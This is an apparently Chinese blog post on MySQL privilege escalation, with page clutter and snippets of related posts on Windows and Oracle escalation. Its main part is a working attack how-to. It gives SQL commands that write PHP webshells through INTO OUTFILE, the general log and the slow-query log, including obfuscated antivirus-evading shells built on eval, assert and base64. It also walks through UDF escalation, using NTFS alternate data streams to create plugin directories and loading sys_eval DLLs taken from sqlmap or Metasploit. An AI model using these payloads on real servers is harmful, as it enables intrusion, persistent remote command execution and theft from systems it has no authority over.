数据库提权

1、通过将sql语句导出文件的方式(备份)

mysql5.5以上默认,secure_file_priv为null,secure_file_priv=null 表示所有文件路径均不允许导出。'空'可任意导出,值应该设置为什么都没有(删除)才能消除mysql自身的写拦截。/tmp指定路径导出,对web目录是否有写权限。

mysql root

linux root

中间件 www-data

假设联合查询

select 1,2,'' into outfile "web根目录绝对路径";

非联合查询(报错、盲注)

select * from users where id=1 into outfile 'C:\cnmdb2.php' lines terminated by 'php代码(也可写 16进制)';

2、普通日志导出

原理:更改默认日志路径导出webshell

show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址
(记下原地址方便恢复)
set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php'; --设置日志路径
select '<?php phpinfo();?>'; --执行查询,写入shell
--结束后,恢复日志路径,关闭日志监测
--SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";
SELECT "<?php $p =
array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a =
array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_=
'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

3、慢查询写shell

为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

show variables like '%slow_query_log%'; --查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路
径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell

udf提权

基础、步骤和过程

udf(user defined function),用户自定函数,win/lin环境下均可使用,使用动态链接库.dll或.so,放置对应 文件到mysql安装目录中\lib\plugin目录下

一般来说lib目录和plugin目录需要用户自建(高版本无lib\plugin目录),也可使用NTFS流创建,在数据 库中加载动态连接库中的sys_eval或sys_exec函数即可执行操作系统命令。

通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执 行,mysql的用户自定义函数存放mysql根目录下的/mysql/lib/plugin里面,这里面存储着mysql的动态 链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll' 命令将该库文件中的函数导入,才能使用该函数,就像python里面 的导入模块、方法一样。

条件

①动态连接库文件

这个udf.dll 不需要我们自己编写,可以利用sqlmap\msf等工具为我们提供的。

②shell

进行udf提权的前提是我们已经获得了一个网站的webshell或数据库的权限.

③高权限dbms账户

获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php这类文件。

④对数据库插件目录的写权限

动态链接库文件获取

我们从两个地方获取动态链接库文件:sqlmap、/usr/share/sqlmap/data/udf/mysql/linux/64/

sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak目录下执行下面命令才能生 效。

python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so metesploit。

/usr/share/metasploit-framework/data/exploits/mysql

1.3 查看插件目录位置

我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin

也可以通过在sqlshell中执行,select @@plugin_dir

插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在 windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带,select @@basedir; //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server5.1\lib::$INDEX_ALLOCATION';

//利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server

5.1\lib\plugin::$INDEX_ALLOCATION';

/利用NTFS ADS创建plugin目录

1.4 动态连接库文件导入

在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建 文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录

1.5 将函数导入mysql

create function sys_eval returns string soname '插件文件名称'

查看命令执行效果

可以看到成功执行了系统命令

1、在windows环境下当mysql版本>5.2时,udf的导出路径为,%MySQL%\Lib\Plugin\,且默认无此目 录,可尝试适用ntfs创建目录。

select ‘xxx’into outfile "mysql目录\lib::$INDEX_ALLOCATION";//使用ntfs创建目录

select ‘xxx’into outfile "mysql目录\lib\plugin::$INDEX_ALLOCATION"

然后以导出日志形式将dll文件导出至\lib\plugin目录

select * from users where id=1 into outfile 'C:\mysql\lib\plugin\test.dll' lines terminated by 'shellcode[udf]';

2、在数据库权限比中间件权限高的情况下使用udf提权。最终权限为数据库权限。

  • 36
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
星外虚拟主机提权目录 C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\ C:\php\PEAR\ C:\Program Files\Zend\ZendOptimizer-3.3.0\ C:\Program Files\Common Files\有的杀毒 防火墙目录有权限 C:\7i24.com\iissafe\log\ 不过新版本的貌似放到C:\windows\下了,并且我也没看到有iissafe文件夹了 C:\RECYCLER C:\windows\temp\ 看运气了 c:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps\ 还有这个,主要看MSSQL版本问题 一切看情况而定了, 有的星外网站目录和系统盘设置都很BT, 但是其他盘如 E,F盘,却可读可写饿e:\recycler\ f:\recycler\ C:\Program Files\Symantec AntiVirus\SAVRT\ C:\WINDOWS\7i24.com\FreeHost C:\php\dev C,D,E… 以下不一定有权限 C:\~1 C:\System Volume Information C:\Program Files\Zend\ZendOptimizer-3.3.0\docs C:\Documents and Settings\All Users\DRM\ C:\Documents and Settings\All Users\Application Data\McAfee\DesktopProtection C:\Documents and Settings\All Users\Application Data\360safe\softmgr\ C:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps 转载处:t00ls.net 声明,这不是什么星外0DAY,这充其量只是一个在找不到可写可执行目录的一个提权思路。我不敢说是我最先发现的,可能有其他人也发现了,并且也在利用了。无数实例证明了lcx前辈那句话,细节决定成败。这只是入侵渗透中的细节问题,刚好我注意到了。下面正文开始。 众所周知要成功提权星外主机就要找到可写可执行目录,可近来星外主机的目录设置越来越BT,几乎没有可写可执行目录。另一个“提权思路”出现了。寻找服务器上安装的第3方软件某些文件的权限问题来进行文件替换,将这些文件替换为我们的cmd.exe和cscript.exe来提权,经我测试发现以下服务器常用软件的某些文件权限为Everyone即为所有用户权限,可以修改,可以上传同文件名替换,删除,最重要的是还可以执行。 首先是我们可爱的360杀毒。 c:\Program Files\360\360Safe\AntiSection\mutex.db 360杀毒数据库文件 c:\Program Files\360\360Safe\deepscan\Section\mutex.db 360杀毒数据库文件 c:\Program Files\360\360sd\Section\mutex.db 360杀毒数据库文件 c:\Program Files\360\360Safe\deepscan\Section\mutex.db这个文件,只要安装了360杀毒就一定存在,并且有Everyone权限。其他2个文件不一定。 c:\Program Files\Helicon\ISAPI_Rewrite3\error.log 态设置软件ISAPI Rewrite日志文件 c:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log 态设置软件ISAPI Rewrite日志文件 c:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf 静态设置软件ISAPI Rewrite配置文件 主要是ISAPI Rewrite 3.0版本存在权限问题,老版本暂时没发现有此类问题。 c:\Program Files\Common Files\Symantec Shared\Persist.bak 诺顿杀毒事件日志文件 c:\Program Files\Common Files\Symantec Shared\Validate.dat 诺顿杀毒事件日志文件 c:\Program Files\Common Files\Symantec Share
Windows提权总结(⼀) 提权总结(⼀)——数据库与系统漏洞 数据库与系统漏洞 Windows提权总结 提权总结(1)——数据库与系统漏洞 数据库与系统漏洞 0x01 内核漏洞提权 内核漏洞提权 Github上windows系统溢出漏洞提权的汇总: 内核漏洞检测⼯具——Windows-Exploit-Suggester 其主要功能是通过⽐对systeminfo⽣成的⽂件,⽐对KB编号,从⽽发现系统是否存在未修复漏洞。 使⽤: 更新数据库 python2 ./windows-exploit-suggester.py --update 安装依赖xlrd python2 -m pip install xlrd --upgrade 这⾥要注意,最近xlrd更新到了2.0.1版本,只⽀持.xls⽂件,与我们⽣成的数据库xlsx⽂件有冲突。 所以安装旧版xlrd: python2 -m pip uninstall xlrd python2 -m pip install xlrd==1.2.0 将利⽤的Windows机的SystemInfo打印到1.txt,执⾏以下命令 python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt 利⽤给出的链接下载POC并提权 0x02 数据库提权 数据库提权 2.1 MYSQL提权 提权 2.1.1 UDF提权 提权 UDF (user defined function),即⽤户⾃定义函数。通过添加类似于命令执⾏的新函数,执⾏任意命令 提权条件: 有mysql的root权限以及secure_file_priv的值为空 mysql5.1以上有写lib/plugin⽬录权限 提权原理: 利⽤了root ⾼权限,创建带有调⽤cmd的函数的udf.dll动态链接库 Step1: 查看 secure_file_priv的值 show global variables like 'secure%'; 如果 secure_file_priv的值为NULL,则⽆法导⼊⽂件,也就⽆法提权。 secure_file_priv 的值不能通过set改变,需要在mysql配置⽂件my.ini中添加/修改 secure_file_priv='' 如果 secure_file_priv没有具体的值,则可以写⼊导出⽂件。 导⼊/导出成功 Step2: 查看plugin的值 select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1); 当plugin值为 mysql_native_password 时可通过账户连接提权 Step3: 查看系统架构以及plugin⽬录 show variables like '%compile%'; #查看主机版本及架构 show variables like 'plugin%'; #查看 plugin ⽬录 64位 E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 看架构的原因是要确定udf⽤64位还是32位的 在MSF中有: cd /usr/share/metasploit-framework/data/exploits/mysql/ 将对应的dll下载 Step4:将dll⽂件写⼊plugin⽬录,并且创建函数(如果没有"./mysql/lib/plugin/"这个⽬录,需要⾃⾏创建) 将整个DLL⽂件以⼗六进制编码后写⼊磁盘。 select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(写⽬录,其实⼤部分时 候是没有写权限的) select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex'; select [⼗六进制值] into dumpfile "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64
Oracle数据库提权原理涉及到Oracle数据库的权限管理和用户权限控制机制。 在Oracle数据库中,权限是分层次的,包括系统级权限和对象级权限。系统级权限用于控制数据库整体的操作,如创建用户、分配角色等;对象级权限用于控制对具体数据库对象(如表、视图、存储过程等)的操作。 当一个用户连接到Oracle数据库时,会使用一个用户名和密码进行认证。用户可以被授予不同的权限,这些权限可以直接授予给用户,也可以通过角色间接授予给用户。 在提权过程中,一般可以通过以下几种方式实现: 1. 知道管理员账号:如果获得了管理员账号(如sys账号),就可以直接拥有系统级权限,并可以创建或修改其他用户的权限。 2. 注入攻击:通过利用数据库应用程序的漏洞,执行恶意代码来提权。例如,通过SQL注入攻击可以执行未经授权的SQL语句,从而获取更高级别的访问权限。 3. 通过未修补的漏洞:如果数据库服务器存在已知的未修补漏洞,攻击者可以利用这些漏洞来绕过权限限制,获得更高级别的访问权限。 4. 提权工具:一些专门用于提权的工具可以利用已知的漏洞或弱点,来获取更高级别的访问权限。 为了防止数据库提权攻击,建议采取以下措施: - 保持数据库软件和补丁的最新状态,定期更新数据库软件。 - 遵循最佳安全实践,如使用复杂的密码,定期更改密码,限制远程访问等。 - 对数据库应用程序进行安全审计和代码审查,修复潜在的漏洞。 - 限制用户的权限,并按照最小权限原则授予用户所需的权限。 - 监控数据库活动,及时发现并应对异常行为。 - 配置防火墙和入侵检测系统,及时检测和阻止潜在的攻击。 以上是Oracle数据库提权的一般原理和建议措施,具体情况可能会因数据库版本、配置和应用程序的不同而有所差异。在实际应用中,请根据具体情况采取相应的安全措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值